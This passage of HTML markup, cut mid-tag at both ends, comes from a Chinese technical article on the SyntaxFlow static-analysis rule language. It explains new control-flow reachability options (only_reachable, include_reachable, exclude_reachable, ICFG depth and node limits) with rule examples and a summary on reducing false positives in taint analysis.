1px;">5.max_depth</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">：仅在 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">icfg: true</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 时生效，限制 ICFG 搜索时的调用深度上限（跨过程边层数）。</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">6.max_nodes</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">：仅在 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">icfg: true</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 时生效，限制 CFG/ICFG BFS 访问的状态节点数，防止搜索过大；超出则视为不可达。</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">案例如下：</span></span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__variable">$sink</span>&lt;<span class="code-snippet__title">dataflow</span>(<span class="code-snippet__string">&lt;&lt;&lt;CODE</span></span></code><br/><code><span leaf="">    * #-&gt; as <span class="code-snippet__subst">$p</span></span></code><br/><code><span leaf="">    CODE,</span></code><br/><code><span leaf=""><span class="code-snippet__attr">include</span>: <span class="code-snippet__string">&lt;&lt;&lt;INC</span></span></code><br/><code><span leaf="">    * &amp; <span class="code-snippet__subst">$input</span></span></code><br/><code><span leaf="">    INC,</span></code><br/><code><span leaf=""><span class="code-snippet__attr">exclude</span>: <span class="code-snippet__string">&lt;&lt;&lt;EXC</span></span></code><br/><code><span leaf="">    *?{&lt;cfgGuards(opcode: return)&gt;}</span></code><br/><code><span leaf="">    EXC,</span></code><br/><code><span leaf=""><span class="code-snippet__attr">only_reachable</span>: <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">$sinkCfg</span></span><span class="code-snippet__string">&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__attr">only_reachable_mode</span>: <span class="code-snippet__string">&#34;post&#34;</span></span></code><br/><code><span leaf="">)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$high</span></span></code><br/></pre></p></div><div><div><div><div data-pm-slice="7 9 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);margin-left: 0;margin-right: 0;" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mpyzdrkt1tae">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-left: 0;margin-right: 0;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><code><span leaf="" mpa-font-style="mq0hunycc5" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" data-mpa-action-id="mq0hunyl1716" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">2.{ ... } -&gt;</span></span></code></h4></p></div></div></div></div></div></div></div></div><p data-pm-slice="0 0 []" style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">扩展了3个CFG相关的配置项：</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">1.only_reachable：能 CFG 到达锚点</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">2.include_reachable：包含目标 CFG 锚点</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">3.exclude_reachable：排除目标 CFG 锚点</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">语法案例：</span></span></p><pre style="white-space:pre-wrap;" data-pm-slice="0 0 []"><code data-lark-language="Bash" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__variable">$sink </span>* <span class="code-snippet__comment">#{</span></span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">include</span>: `* &amp; <span class="code-snippet__variable">$source</span>`,</span></code><br/><br/><code><span leaf="">    exclude: `*?{opcode: call}`,</span></code><br/><br/><code><span leaf="">    only_reachable: `<span class="code-snippet__variable">$thenCfg</span>`,</span></code><br/><br/><code><span leaf="">    exclude_reachable: `<span class="code-snippet__variable">$badCfg</span>`,</span></code><br/><br/><code><span leaf="">    until: `* &amp; <span class="code-snippet__variable">$param</span>`,</span></code><br/><br/><code><span leaf="">}-&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$out</span></span></code><br/><br/></pre></p><p data-pm-slice="0 0 []" style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">include_reachable exclude_reachable</span></span></code><br/><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 和之前已经存在的 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">include exclude</span></span></code><br/><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 有不同的地方，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">在逻辑上它们的效果类似于剪枝，而后者的效果更倾向于过滤。</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">下面的案例可以帮助你理解：</span></span></p></code><br/></pre><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">c = <span class="code-snippet__string">&#34;test&#34;</span></span></code><br/><code><span leaf="">x = c</span></code><br/><code><span leaf="">if (c) {</span></code><br/><code><span leaf="">    a = <span class="code-snippet__string">&#34;thenStr&#34;</span></span></code><br/><code><span leaf="">    x = a</span></code><br/><code><span leaf="">} <span class="code-snippet__keyword">else</span> {</span></code><br/><code><span leaf="">    b = <span class="code-snippet__string">&#34;elseStr&#34;</span></span></code><br/><code><span leaf="">    x = b</span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf="">println(x)</span></code><br/></pre></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf=""><span class="code-snippet__title">println</span>(* <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$sink</span>)</span></code><br/><code><span leaf="">a <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$thenVal</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$sink </span>* <span class="code-snippet__comment">#{</span></span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">include</span>: `* &amp; <span class="code-snippet__variable">$thenVal</span>`,</span></code><br/><code><span leaf="">}-&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$outInc </span><span class="code-snippet__comment">// 得到 &#34;thenStr&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$thenVal</span>&lt;getCfg&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$thenCfg</span></span></code><br/><code><span leaf=""><span class="code-snippet__variable">$sink </span>* <span class="code-snippet__comment">#{</span></span></code><br/><code><span leaf="">    include_reachable: `<span class="code-snippet__variable">$thenCfg</span>`,</span></code><br/><code><span leaf="">}-&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$outReach </span><span class="code-snippet__comment">// 得到 &#34;thenStr&#34; 和 &#34;test&#34;</span></span></code><br/></pre></p><p data-pm-slice="0 0 []" style="text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="white-space: pre-wrap;line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">在第二个规则样例中，</span></span><code style="white-space: pre-wrap;line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">include_reachable</span></span></code><span leaf="" style="white-space: pre-wrap;line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">的主要作用是包含 else 这条路径，</span><span textstyle="" style="letter-spacing: 1px;">因此在这条路径上的 &#34;test&#34; 也会被查找到，而第一个规则样例主要是为了在数据流中过滤某个变量，因此只保留了 &#34;thenStr&#34;。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">五、总结</span></span></p></div></div></div><p data-pm-slice="0 0 []" style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">SyntaxFlow 的 CFG 能力是在既有 NativeCall 体系上的控制流语义扩展：</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">1.getCfg</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 提供统一基本块锚点</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">2.cfgGuards</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">cfgDominates</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">cfgReachable</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">reachabilityGuard</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 等链式 native 负责分支截断、必经关系与入口必达</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">3.dataflow()</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 与 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"># { ... } -&gt;</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 则通过 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">only_reachable</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 及 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">post</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">/</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">path</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">icfg</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 等参数，在原有 include/exclude 路径模型上叠加「定义点是否 CFG 可达锚块」的过滤</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">控制流分析可以在保留数据流污点骨架的同时，显著减少 if/else 死分支、早 return 校验、phi 多值枚举带来的误报，并在内置规则中逐步替代依赖 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">opcode:phi</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 的间接写法。</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">未来总体目标是：让 SyntaxFlow 在「语法 + 数据流」之外，具备可编写、可组合、可回归的控制流感知规则表达能力，同时保持对存量规则的平滑兼容与渐进迁移。</span></span></p><p style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;" data-pm-slice="3 5 []"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: 